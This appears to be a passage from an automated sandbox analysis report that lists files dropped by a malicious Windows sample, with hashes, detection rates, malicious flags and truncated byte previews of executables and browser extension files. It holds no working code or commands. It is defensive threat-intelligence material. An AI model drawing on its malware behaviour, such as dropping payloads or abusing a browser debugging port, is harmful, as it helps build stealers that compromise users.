Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4374016
Entropy (8bit):	7.985069425771447
Encrypted:	false
SSDEEP:	98304:w1h6bxB94hk9yMyHPPnUv68dc4BHSlAyitLDCSSbAl4Y8hoi7114UQ:w1gZKA/jSlkZDCXfYP/9
MD5:	3B098936D2BA04149E255A50F61B5415
SHA1:	271D4427A66A5169E0928535DC93B230FAFDD916
SHA-256:	B67CB8C91C159AD18DB1DE834B32E3D17C42F6B595762905C015EBA800B93A3B
SHA-512:	810E6B83732F7C3426768348390CDE9C5B3FFECF958EDC832982475C91BFD5747960477270C7594DD01D310C436EC1DA51F277DFF5BF6B58D1C13B28D8042D7F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2...P........J...@..................................*C...@... ............................._.q.s...........................x:..............................(:...................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... . 8...q.......'.............@...syrofzst.....0........'.............@...weyqvzlj.....@........B.............@....taggant.0...P..."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.387112112068705
Encrypted:	false
SSDEEP:	96:6NnQ99CHQ908NnQcm/m5bQcmoNnQE9QkNnQBdgEQKNnQ0Q1NnQcDQcNnQCzNTwQB:6Na9VfNqu8oNtNoPNKNR7NrpNF
MD5:	ECC6A0A00AE131A7F55A161D79F487FF
SHA1:	008704A1B42F62030E0FC6491DAF0F99EADA3183
SHA-256:	2ED8415078B6CB606BBEE1447B7DF6EFBD49B3F401FFF0446137D59A3F25D3CF
SHA-512:	79430BEA0AE5E338FC4B80400BFFE899D56F6339BE68A5AAAC04133C76C93F901219327D8A3AD3BBB2E5F774654244454C44948CA1261451D4F4AFBDCC5392C1
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/FB2FFE2807107D4DFD12F8E98FFB4D65",.. "id": "FB2FFE2807107D4DFD12F8E98FFB4D65",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/FB2FFE2807107D4DFD12F8E98FFB4D65"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/5CDEDE0C37207DBE95DC5FEEC64AC461",.. "id": "5CDEDE0C37207DBE95DC5FEEC64AC461",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/5CDEDE0C37207DBE95DC5FEEC64AC461"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4374016
Entropy (8bit):	7.985069425771447
Encrypted:	false
SSDEEP:	98304:w1h6bxB94hk9yMyHPPnUv68dc4BHSlAyitLDCSSbAl4Y8hoi7114UQ:w1gZKA/jSlkZDCXfYP/9
MD5:	3B098936D2BA04149E255A50F61B5415
SHA1:	271D4427A66A5169E0928535DC93B230FAFDD916
SHA-256:	B67CB8C91C159AD18DB1DE834B32E3D17C42F6B595762905C015EBA800B93A3B
SHA-512:	810E6B83732F7C3426768348390CDE9C5B3FFECF958EDC832982475C91BFD5747960477270C7594DD01D310C436EC1DA51F277DFF5BF6B58D1C13B28D8042D7F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2...P........J...@..................................*C...@... ............................._.q.s...........................x:..............................(:...................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... . 8...q.......'.............@...syrofzst.....0........'.............@...weyqvzlj.....@........B.............@....taggant.0...P..."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\321d2e8b-dc6d-4e0b-ae84-6161cff5c34e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
Category:	dropped
Size (bytes):	76326
Entropy (8bit):	7.9961120748813075
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz8vBBrYunau6wp:GdS8scZNzFrMa4M+lKqeu/nr
MD5:	01E352D35675990A139199DD86B38AAC
SHA1:	E16163C81E5F36B3B819AA0A63BFA63D88548A91
SHA-256:	148CDE42D38C62C1A1E8B8D3D4BD8830F0F8C2DC684E3C59B0A510E31011CA4A
SHA-512:	75A58FFAD6E3E0546268CC863AE382B5429795D8BCED64BAE2D06BCEEB6C2E37BD656A3E335EB61B521888B76913F2D0281F8C9C081FF8637307AE5934D98C8B
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\6265e8ef-70b7-43ed-8d95-ab5ab9e7d39c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\96a61008-28f8-45dd-8ff0-c2dca7a50a99.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\98a0eaf2-a708-46cf-9b3b-4638aa812c0f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsEHJKJDGCGD.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1912320
Entropy (8bit):	7.951250973298494
Encrypted:	false
SSDEEP:	49152:n2ukFAT41yiXtgIsVIE0+VbuyGwcmpjEofbgf3:n8Ak1y8gc+VbRGwcmpj3C
MD5:	A497AC328EBE667E4502871394265720
SHA1:	C9CC92BFEC36D6608B79C062F3FD69C86800FC06
SHA-256:	7A3739AF1F97EEB953E104354D454B85F6C395B19817B59F014F86520E2501C3
SHA-512:	37956D11C549DA390E3B78DE2A28688389E06F34525770CE6B709422D086D021C3CD64C31ED5C28A7C02F8080FEADF87BD857207D69AC898A7405CD864FFE030
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@.......................... L.....T.....@.................................W...k.......D.....................K.............................L.K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... . +.........................@...eiflycbf......1.....................@...qjxsgmsm......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.375672671284962
Encrypted:	false
SSDEEP:	24:YJxF5sQ5szAW01Rp5yK10YO5qv70VhQu5Fa02x5Y9L07S5M:YJxF5sQ5sEW01X5y60YO5qD0VH5Fa02z
MD5:	89ED23893D6C874E53284570CB081D3A
SHA1:	B3901646A2B5ED817FC8339008627B7F5BEB43D3
SHA-256:	0C88518D030CBCE596EC98B17872AFB3312EE76DC0D71F9E22BE97C1EBC23BEF
SHA-512:	686EED5DF373FD4DC7D64F1BCD1811CB5F825A50E9B3DCDE945815E8BEA4617208C2606A4FFFB2381AE64E89F6E06397A95F495689413BD526527B83BD2E819A
Malicious:	false
Preview:	{"logTime": "1005/081724", "correlationVector":"2/PmMr7SOFFRIqTwW+HesJ","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/081729", "correlationVector":"mBsci4p0IuAlecFQAh3IDU","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/081729", "correlationVector":"EFCCE5F7ECC74238A0D17C500D8EB81C","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083130", "correlationVector":"jkXXrPbML/1ucIa5c7okZ6","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083130", "correlationVector":"CECEB17551BE48CCBF3DD12E07118D84","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083241", "correlationVector":"WUtA7xoJfeUJPFSRRtPAng","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083242", "correlationVector":"B7F67C44DD3147F7BE748158D3F8E7B5","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083444", "correlationVector":"6kKZpL8SvSsrBcj/Fl+tva","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083445", "correlationVector":"94D95442

C:\Users\user\AppData\Local\Temp\d6144472-206d-4c62-8e04-93179723ec55.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\edb18fc3-72c8-4359-a32d-aef1bf27b339.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1610723
Entropy (8bit):	7.9926458165639716
Encrypted:	true
SSDEEP:	49152:lEwuYXfVFyORPINoTMINfQKSD5VU7oSLndrpqWC:lEDYPOYQNoTXNfQKqV9WroZ
MD5:	B64774C5AA45ECD0AE3D36A741FD6170
SHA1:	FDDF7714EC00C0276E5C13D6B2E1686EE424CFDD
SHA-256:	1C1B09D87D046813AC6D311A08CB26CF11815396236BDD2970896D48BB76CD1D
SHA-512:	5AAB1277BF2F90DE853ADB0617288F9398C7D52D2A8A4F626D6BB4F27FAD9C13C426B441764B8B3F5A5DD3D919CD023B8C7B865319BE478A96E739D3BD1846F7
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....bKGD............./IDATX..W}l.E..3..w.+..H.\|...D.%..M.Z5.I..&.Q....W.%.P..!.&.Q.."..0...H.Z.".....>Z....A.......m.....1..........{...A........<.-a.27j..... '.A.D...kVI.B..A...}..o:/...h<..E....M2r.0.PP<j.j..e]..>lh.(..?u.....KqB.7CP..8.D.a.$.%..??.iG.=+.~..2FH...\am;}...n......h~.H...........#KvW..w;.#.dc..1.JW.2...(...nu.Q0....,..H0..1)..[....^.P..r..;.`{.d........%...6.......@.."O.+"&zSym.,.Nn..L..pj.&K.Z.....yH=..R.P?.i..Td...Sb.%o.....w..R`.sOJIjQ.>...i.v....A.CD\|bfx....).o.g.....I....6...!....<.t\|"....PO<".:/+..>1.......R.o...@.../"y.",S.@...B..h...Z...P.>.......+...:z........7,:.....\|)C.p.H+`i..e).8...zA".$:Z.o.........j]].....K:.....ZI.. ....~..&........:]...w.md./zkT.Z..F........,."7\|.\|u..3....G.../7.oJ...*...7..~l......PY.HQ>..`$........2.{.....>( I,...h..I...N.y}=..VN.R.....IH..kp.V..\|Io.+k...Eb.ES>.E2......Z.._.I .q0..0.......F.&D.(D1.Q+.M...!z9.....#xV.p....nH....7....\t.w"`F...-

C:\Users\user\AppData\Local\Temp\ffc53879-9e97-47cc-aa45-132668afa71f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\98a0eaf2-a708-46cf-9b3b-4638aa812c0f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
